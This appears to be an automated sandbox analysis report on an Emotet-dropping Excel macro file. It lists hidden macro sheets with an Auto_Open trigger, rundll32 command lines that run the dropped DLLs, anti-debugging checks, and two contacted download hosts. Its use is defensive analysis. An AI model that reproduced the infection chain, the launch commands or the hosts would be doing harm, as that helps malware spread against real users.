Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECAE43 3_2_01ECAE43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECCE5A 3_2_01ECCE5A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC6453 3_2_01EC6453
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED282D 3_2_01ED282D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC3228 3_2_01EC3228
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC9824 3_2_01EC9824
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC243F 3_2_01EC243F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC3432 3_2_01EC3432
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC800A 3_2_01EC800A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDC205 3_2_01EDC205
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EE261E 3_2_01EE261E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E439F10 3_2_6E439F10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E4377B4 3_2_6E4377B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E43D530 3_2_6E43D530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E431DE0 3_2_6E431DE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E433A90 3_2_6E433A90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E440380 3_2_6E440380
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44E3A1 3_2_6E44E3A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E436070 3_2_6E436070
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E4410C0 3_2_6E4410C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E43A890 3_2_6E43A890
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E43E890 3_2_6E43E890
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E4368B0 3_2_6E4368B0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A243F 6_2_001A243F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A9824 6_2_001A9824
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BEA55 6_2_001BEA55
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AB464 6_2_001AB464
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001C1291 6_2_001C1291
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001C20CE 6_2_001C20CE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B10CD 6_2_001B10CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A92C1 6_2_001A92C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B40FE 6_2_001B40FE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B9124 6_2_001B9124
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001ACF6E 6_2_001ACF6E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B3782 6_2_001B3782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BDB87 6_2_001BDB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001C261E 6_2_001C261E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A800A 6_2_001A800A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BC205 6_2_001BC205
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A3432 6_2_001A3432
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A3228 6_2_001A3228
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B282D 6_2_001B282D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001ACE5A 6_2_001ACE5A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A6453 6_2_001A6453
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AAA4E 6_2_001AAA4E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A544C 6_2_001A544C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B3043 6_2_001B3043
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AAE43 6_2_001AAE43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B7445 6_2_001B7445
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AFA78 6_2_001AFA78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A387F 6_2_001A387F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BB677 6_2_001BB677
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A6869 6_2_001A6869
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A3A6C 6_2_001A3A6C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AEE60 6_2_001AEE60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BA29B 6_2_001BA29B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B009A 6_2_001B009A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BE899 6_2_001BE899
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AFE9D 6_2_001AFE9D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B0A93 6_2_001B0A93
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BCE90 6_2_001BCE90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B0E97 6_2_001B0E97
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AF48A 6_2_001AF48A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AA083 6_2_001AA083
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001C1CDB 6_2_001C1CDB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B52D1 6_2_001B52D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A90D4 6_2_001A90D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B28D5 6_2_001B28D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A2CC2 6_2_001A2CC2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A46FA 6_2_001A46FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A1EFB 6_2_001A1EFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A84F0 6_2_001A84F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B62F5 6_2_001B62F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B4CF5 6_2_001B4CF5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AC0EA 6_2_001AC0EA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B56E9 6_2_001B56E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A40E2 6_2_001A40E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A4D1E 6_2_001A4D1E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001ACB13 6_2_001ACB13
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B970A 6_2_001B970A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BE10A 6_2_001BE10A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B590E 6_2_001B590E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B3D0C 6_2_001B3D0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BBF0C 6_2_001BBF0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AF73B 6_2_001AF73B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BCD35 6_2_001BCD35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AA92F 6_2_001AA92F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B6540 6_2_001B6540
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001C0370 6_2_001C0370
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001ABD61 6_2_001ABD61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B1591 6_2_001B1591
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AB191 6_2_001AB191
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A7795 6_2_001A7795
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A358B 6_2_001A358B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A8D80 6_2_001A8D80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A4B81 6_2_001A4B81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B85B8 6_2_001B85B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A43BE 6_2_001A43BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A59BF 6_2_001A59BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BD7BE 6_2_001BD7BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BE3B5 6_2_001BE3B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B89A2 6_2_001B89A2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BE5A7 6_2_001BE5A7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BDDA5 6_2_001BDDA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B0BA4 6_2_001B0BA4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A75D2 6_2_001A75D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A19C0 6_2_001A19C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001BEDED 6_2_001BEDED
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A51EC 6_2_001A51EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001AA3E7 6_2_001AA3E7
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6E44AC90 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 6E431DE0 appears 97 times
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: CC82.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\rundll32.exe Process Stats: CPU usage > 98%
Found a hidden Excel 4.0 Macro sheet
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk2
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk5
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk1
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk7
Source: DOC-0212.xlsm Macro extractor: Sheet name: EFEWF
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk3
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk4
Source: DOC-0212.xlsm Macro extractor: Sheet name: Buk6
Excel documents contains an embedded macro which executes code when the document is opened
Source: workbook.xml Binary string: \Desktop\Fil\1d\Cir\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{D6BAC37D-0CE8-4F19-A286-32FB1AEC3273}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="20730" windowHeight="11160" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet" sheetId="1" r:id="rId1"/><sheet name="Ss1" sheetId="2" state="hidden" r:id="rId2"/><sheet name="Ss1br2" sheetId="3" state="hidden" r:id="rId3"/><sheet name="Ssbr3" sheetId="4" state="hidden" r:id="rId4"/><sheet name="EFEWF" sheetId="5" state="hidden" r:id="rId5"/><sheet name="Buk1" sheetId="6" state="hidden" r:id="rId6"/><sheet name="Buk2" sheetId="7" state="hidden" r:id="rId7"/><sheet name="Buk3" sheetId="8" state="hidden" r:id="rId8"/><sheet name="Buk4" sheetId="9" state="hidden" r:id="rId9"/><sheet name="Buk5" sheetId="10" state="hidden" r:id="rId10"/><sheet name="Buk6" sheetId="11" state="hidden" r:id="rId11"/><sheet name="Buk7" sheetId="12" state="hidden" r:id="rId12"/></sheets><definedNames><definedName name="LKLW">EFEWF!$D$3</definedName><definedName name="SASA">EFEWF!$D$17</definedName><definedName name="SASA1">EFEWF!$D$19</definedName><definedName name="SASA2">EFEWF!$D$21</definedName><definedName name="_xlnm.Auto_Open">EFEWF!$D$1</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe ..\besta.ocx,44532.6051013889
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\besta.ocx",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc",qEPqGlpBy
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe ..\besta.ocx,44532.6051013889 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\besta.ocx",Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc",qEPqGlpBy Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$DOC-0212.xlsm Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDD92.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSM@8/7@2/2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe ..\besta.ocx,44532.6051013889
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: Window Recorder Window detected: More than 3 window changes detected
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/worksheets/sheet4.xml
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/media/image1.png
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/worksheets/_rels/sheet3.xml.rels
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: DOC-0212.xlsm Initial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: CC82.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC13E7 push esi; retf 3_2_01EC13F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E456A93 push ecx; ret 3_2_6E456AA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001A13E7 push esi; retf 6_2_001A13F0
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E43E690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex, 3_2_6E43E690

Persistence and Installation Behavior:

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Drops PE files
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc (copy) Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\besta.ocx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VZZdgPFp2xiOJtfpv[1].dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc (copy) Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\besta.ocx Jump to dropped file

Boot Survival:

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Drops PE files to the user root directory
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\besta.ocx Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

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Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VZZdgPFp2xiOJtfpv[1].dll Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E6753 rdtsc 0_2_025E6753
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E450927 FindFirstFileExW, 3_2_6E450927
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior

Anti Debugging:

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Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44AB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6E44AB0C
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E43E690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex, 3_2_6E43E690
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E431290 GetProcessHeap,HeapAlloc,RtlAllocateHeap,HeapFree, 3_2_6E431290
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E6753 rdtsc 0_2_025E6753
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED07D2 mov eax, dword ptr fs:[00000030h] 3_2_01ED07D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E449990 mov eax, dword ptr fs:[00000030h] 3_2_6E449990
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44EC0B mov ecx, dword ptr fs:[00000030h] 3_2_6E44EC0B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E4502CC mov eax, dword ptr fs:[00000030h] 3_2_6E4502CC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E449920 mov esi, dword ptr fs:[00000030h] 3_2_6E449920
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E449920 mov eax, dword ptr fs:[00000030h] 3_2_6E449920
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_001B07D2 mov eax, dword ptr fs:[00000030h] 6_2_001B07D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44A462 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6E44A462
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44AB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6E44AB0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E450326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6E450326

HIPS / PFW / Operating System Protection Evasion:

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Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\besta.ocx",Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hisdtuljbeshqtad\zvklxm.vbc",qEPqGlpBy Jump to behavior
Source: EXCEL.EXE, 00000000.00000002.747989999.00000000007F0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747735618.0000000000D70000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.747989999.00000000007F0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747735618.0000000000D70000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.747989999.00000000007F0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747735618.0000000000D70000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44A584 cpuid 3_2_6E44A584
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E44A755 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 3_2_6E44A755

Stealing of Sensitive Information:

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Yara detected Emotet
Source: Yara match File source: 3.2.rundll32.exe.2ab960.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.2ab960.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.558061657.0000000001EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.692050034.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.555217971.000000000029D000.00000004.00000020.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 532596 Sample: DOC-0212.xlsm Startdate: 02/12/2021 Architecture: WINDOWS Score: 100 33 Sigma detected: Emotet RunDLL32 Process Creation 2->33 35 Antivirus detection for URL or domain 2->35 37 Document exploit detected (drops PE files) 2->37 39 6 other signatures 2->39 8 EXCEL.EXE 53 24 2->8         started        13 svchost.exe 2->13         started        process3 dnsIp4 29 sadabahar.com.np 194.233.67.242, 49165, 80 NEXINTO-DE Germany 8->29 31 www.duoyuhudong.cn 47.96.4.95, 49166, 80 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd China 8->31 25 C:\Users\user\besta.ocx, PE32 8->25 dropped 27 C:\Users\user\...\VZZdgPFp2xiOJtfpv[1].dll, PE32 8->27 dropped 43 Document exploit detected (creates forbidden files) 8->43 45 Document exploit detected (UrlDownloadToFile) 8->45 15 rundll32.exe 8->15         started        file5 signatures6 process7 process8 17 rundll32.exe 2 15->17         started        file9 23 C:\Windows\SysWOW64\...\zvklxm.vbc (copy), PE32 17->23 dropped 41 Hides that the sample has been downloaded from the Internet (zone.identifier) 